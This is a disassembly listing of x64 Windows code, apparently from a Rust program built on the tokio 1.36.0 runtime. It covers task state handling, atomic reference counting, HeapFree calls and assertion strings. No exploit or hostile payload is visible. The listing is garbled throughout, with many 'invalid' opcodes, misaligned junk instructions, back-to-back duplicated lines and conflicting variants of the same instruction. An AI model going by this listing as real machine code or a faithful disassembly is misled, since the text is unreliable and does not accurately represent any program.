mov ecx, dword [0x14017d208]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax - 0x7d], cl
invalid
cmp rsi, 0xffffffffffffffff
je 0x14008f2a5
lock dec qword [rsi + 8]
jne 0x14008f2a5
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
pop rbx
add dword [rax], ecx
or byte [rax], al
pop rbx
add dword [rax], ecx
or byte [rax], al
nop
add rsp, 0x28
invalid
or byte [rax], al
nop
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
int3
push rdi
push rbx
sub rsp, 0x98
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp case.default.0x14008f336
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
loop 0x14008f2f4
loop 0x14008f2f4
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
je 0x14008f325
test al, 4
je 0x14008f96f
invalid
add byte [rax + 0x48da7403], ch
test al, 3
je 0x14008f2e0
add esi, dword [rdx + rbx*8 + 0x48]
cmp rax, 0x3f
cmp eax, 0x3f
jbe 0x14008f987
lea rcx, [rax - 0x40]
lea ecx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
mov cl, 0xe
mov cl, 0xe
jne case.default.0x14008f336
movzx eax, dl
lea rcx, [0x140174854]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ae78]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
cmp dword [rsi + 0x30], 2
jae 0x14008f99f
lea rdi, [rsi + 0x30]
lea edi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
add eax, 0xedf44
add eax, 0xedf44
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008f3be
xorps xmm6, xmm6
test eax, eax
jne 0x14008f3ea
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
fimul word [rsi]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rbx
cwde
clc
add byte [rax], al
invalid
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14008c8e0
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
mov dh, 0x89
and byte [rcx], al
add byte [rax], al
mov dh, 0x89
and byte [rcx], al
add byte [rax], al
cmp ecx, 1
je 0x14008f44c
test ecx, ecx
jne 0x14008f468
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rcx*8]
lea rcx, [r14 + 0xd0]
mov ss, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x55285
mov ebx, eax
call fcn.1400d3ad0
mov eax, ebx
mov byte [r14 + 0x120], 1
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, 1
test al, al
je 0x14008f681
mov rcx, rsi
call fcn.1400e7430
movzx eax, al
lea rcx, [0x140174864]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lock dec qword [rax]
jne 0x14008f4d4
call fcn.140068e50
mov rcx, rdi
jmp 0x14008f4f0
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008f4ec
lea rcx, [rsi + 0x20]
call fcn.140068e50
lea rcx, [rsi + 0x30]
call fcn.14008ffe0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x14008f50b
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14008f489.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008f57a
xorps xmm6, xmm6
test eax, eax
jne 0x14008f5a6
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
add eax, 0x455de800
add al, 0
add eax, 0x455de800
add al, 0
add al, 0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14008ffe0
mov qword [rsi + 0x30], 3
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008f60e
test eax, eax
jne 0x14008f841
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
fmul qword [rsi]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
lea edx, [0x1400e46c0]
lea edx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
add byte [rcx], al
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
fmul qword [rsi]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
clc
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.14008ffe0
mov qword [rsi + 0x30], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x50], rbx
jmp 0x14008f7ba
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x14008f6c2
movzx eax, cl
xorps xmm6, xmm6
invalid
test eax, eax
jne 0x14008f6ee
test byte [rbp - 0x74a58a40], 5
sbb bl, ah
invalid
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call fcn.14008ffe0
mov qword [rdi], 3
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
add dword [rax], eax
invalid
ror dword [rdi], 0xb6
and byte [rax], 1
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + 0x357401f8], al
cmp eax, 1
je 0x14008f751
test eax, eax
jne 0x14008f88c
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea ecx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14008ffe0
mov qword [rsi + 0x30], 2
xorps xmm0, xmm0
movups xmmword [rsi + 0x38], xmm0
adc dword [rsi + 0x38], eax
adc dword [rsi + 0x38], eax
mov qword [rsi + 0x48], 0
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rbx + 0x317401f8], al
test eax, eax
jne 0x14008f824
fimul dword [rsi]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rdi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, 0xf0
add byte [rax], al
add byte [rax - 0x77], cl
int1
ror dword [rdi], 0x11
mov al, 0xf0
add byte [rax], al
add byte [rax - 0x77], cl
int1
call 0x1400900b0
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14008f62c
xorps xmm6, xmm6
test eax, eax
jne 0x14008f658
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
jmp 0x14008f62c
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14008f76f
xorps xmm6, xmm6
test eax, eax
jne 0x14008f79b
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
add al, 0
add al, 0
mov byte [r14 + 0x120], 1
jmp 0x14008f76f
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x50]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
add eax, 0xbb3b3
add eax, 0xbb3b3
mov edx, 0x27
call fcn.1401046f0
int3
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x14008fc96
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008fddd
xorps xmm6, xmm6
test eax, eax
jne 0x14008fe09
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14008ffe0
mov qword [rsi + 0x30], 3
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008fe71
test eax, eax
jne 0x14008ff6e
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14008ffe0
mov qword [rsi + 0x30], 2
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008ff2f
test eax, eax
jne 0x14008ff49
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rdi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov al, 0xf0
add byte [rax], al
invalid
mov al, 0xf0
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x1400900b0
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14008fe8f
xorps xmm6, xmm6
test eax, eax
jne 0x14008febb
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
jmp 0x14008fe8f
std
dec dword [rax - 0x7d]
invalid
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x1400900d0
test al, 1
je 0x1400902bb
test al, 2
jne 0x1400902d3
test al, 8
jne 0x1400901f6
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14009014d
xorps xmm6, xmm6
test eax, eax
jne 0x140090179
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
add byte [rax], al
add byte [rax], al
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
invalid
add dword [rbx + 0xed16105], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rcx, [rsi + 0x30]
call fcn.14008ffe0
mov qword [rsi + 0x30], 3
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400901da
test eax, eax
jne 0x140090214
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rdi + 0x120], 1
add byte [rcx], al
add byte [rcx], al
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
jmp 0x140090214
test al, 0x10
je 0x140090214
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x140090357
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x10]
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec8c0
pushfq
mov byte [0x1388c4a28], 1
pushfq
mov byte [0x1388c4a28], 1
mov eax, 2
sbb rax, 0
add byte [rax - 0x77], cl
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
shl eax, 6
neg rax
lock xadd qword [rsi], rax
invalid
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x1400902eb
invalid
jne 0x1400902a8
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x140090263
lock add byte [rax], al
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov rcx, qword [0x14017d208]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x7f158
and eax, 0x7f158
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ab80]
mov edx, 0x23
call fcn.1401046f0
invalid
add byte [rax - 0x73], cl
lea rcx, str.assertion_failed:__prev.is_complete__
or eax, 0xba8be
mov esi, 0x4c000ba8
lea eax, [0x14014abc0]
invalid
lea r8, [0x14014abc0]
add byte [rdx + 0x25], bh
mov edx, 0x25
call fcn.1401046f0
add byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x68], rax
and al, 0x68
and al, 0x68
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:_
invalid
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x60
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x60
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
add byte [rax], al
add byte [rax], al
lea rdx, [0x14014ac08]
lea rcx, [rsp + 0x30]
test al, 0xb
add byte [rax - 0x73], cl
and al, 0x30
call fcn.140104620
lea rax, str.waker_missing
push rdx
movsb byte [rdi], byte [rsi]
or eax, dword [rax]
mov qword [rsp + 0x30], rax
xor byte [rax - 0x39], cl
and al, 0x38
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x38], 1
lea rax, [0x14016f768]
lea eax, [0x14016f768]
add byte [rax - 0x77], cl
and al, 0x40
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
cmp dword [rbx + rcx + 0x4c8d4800], esp
and al, 0x30
cmp dword [rbx + rcx + 0x4c8d4800], esp
and al, 0x30
call fcn.140104620
int3
push rbx
sub rsp, 0x98
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp case.0x14006a01c.121
nop dword [rax]
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
add dword [rcx + 0x5eac0c2], ecx
add dword [rcx + 0x5eac0c2], ecx
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x140090405
test al, 4
je 0x140090a48
test al, 3
je 0x1400903c0
cmp rax, 0x3f
jbe 0x140090a60
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne case.0x14006a01c.121
invalid
invalid
movzx eax, dl
lea rcx, [0x140174874]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ae78]
mov qword [rsp + 0x30], rax
invalid
xor byte [rax - 0x77], cl
je 0x14009044c
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
cmp byte [rax - 0x73], cl
and al, 0x30
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x48], rax
cmp dword [rsi + 0x30], 2
jae 0x140090a78
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je case.0x140073b82.72
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x1400904ca
push rdi
test byte [rbp - 0x74a58a40], 5
invalid
and eax, 0x58
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
adc eax, 0x5422f
adc eax, 0x5422f
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 0xf8], ebx
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 0xf8], ebx
lea rdx, [rsp + 0x40]
mov dword [rax + 0xf8], ebx
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14008c8e0
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
or al, 0xca
movzx ecx, byte [rcx + 0x120]
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x367401f9], al
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x367401f9], al
test ecx, ecx
jne 0x140090548
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rcx*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
mov ebx, eax
ret
call fcn.1400d3ad0
mov eax, ebx
mov byte [r14 + 0x120], 1
ret
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, 1
test al, al
je 0x14009075a
or al, byte [rdx]
add byte [rax], al
or al, byte [rdx]
add byte [rax], al
mov rcx, rsi
call fcn.1400e7430
movzx eax, al
lea rcx, [0x140174884]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eb0b0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
invalid
cmp rax, 0x3f
jbe 0x140090ab0
invalid
and rax, 0xffffffffffffffc0
cmp rax, 0x40
cmp eax, 0x40
cmp eax, 0x40
jne case.0x140090569.0
lea rcx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400905ad
call fcn.140069ba0
mov rcx, rdi
jmp 0x1400905c9
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x1400905c5
lea rcx, [rsi + 0x20]
call fcn.140069ba0
lea rcx, [rsi + 0x30]
call fcn.14008ffe0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x1400905e4
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
invalid
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x140090569.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x140090653
xorps xmm6, xmm6
test eax, eax
jne 0x14009067f
pop rcx
pop rcx
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
int3
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x54079
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
and dword [rax], 1
add byte [rax], al
invalid
and dword [rax], 1
add byte [rax], al
add dword [rbx + 0xecc5b05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14008ffe0
mov qword [rsi + 0x30], 3
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400906e7
test eax, eax
jne 0x14009091a
test dword [rax + 2], esp
add byte [rax], al
test dword [rax + 2], esp
add byte [rax], al
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
add eax, 0xecbc7
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
lock add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
invalid
lock add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rbx + 0xecba905], cl
add byte [rbp + 0x48], ah
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
clc
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.14008ffe0
mov qword [rsi + 0x30], 2
mov qword [rsi + 0x38], 1
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x50], rbx
jmp 0x140090893
mov rbx, qword [rsi + 0x28]
cmp cl, 1
invalid
je 0x14009079b
add dword [rax + rdi + 0xf], esi
mov dh, 0xc1
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x1400907c7
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edi
mov rcx, rdi
mov ecx, edi
call fcn.14008ffe0
mov qword [rdi], 3
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
clc
invalid
je 0x14009082a
invalid
test eax, eax
jne 0x140090965
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
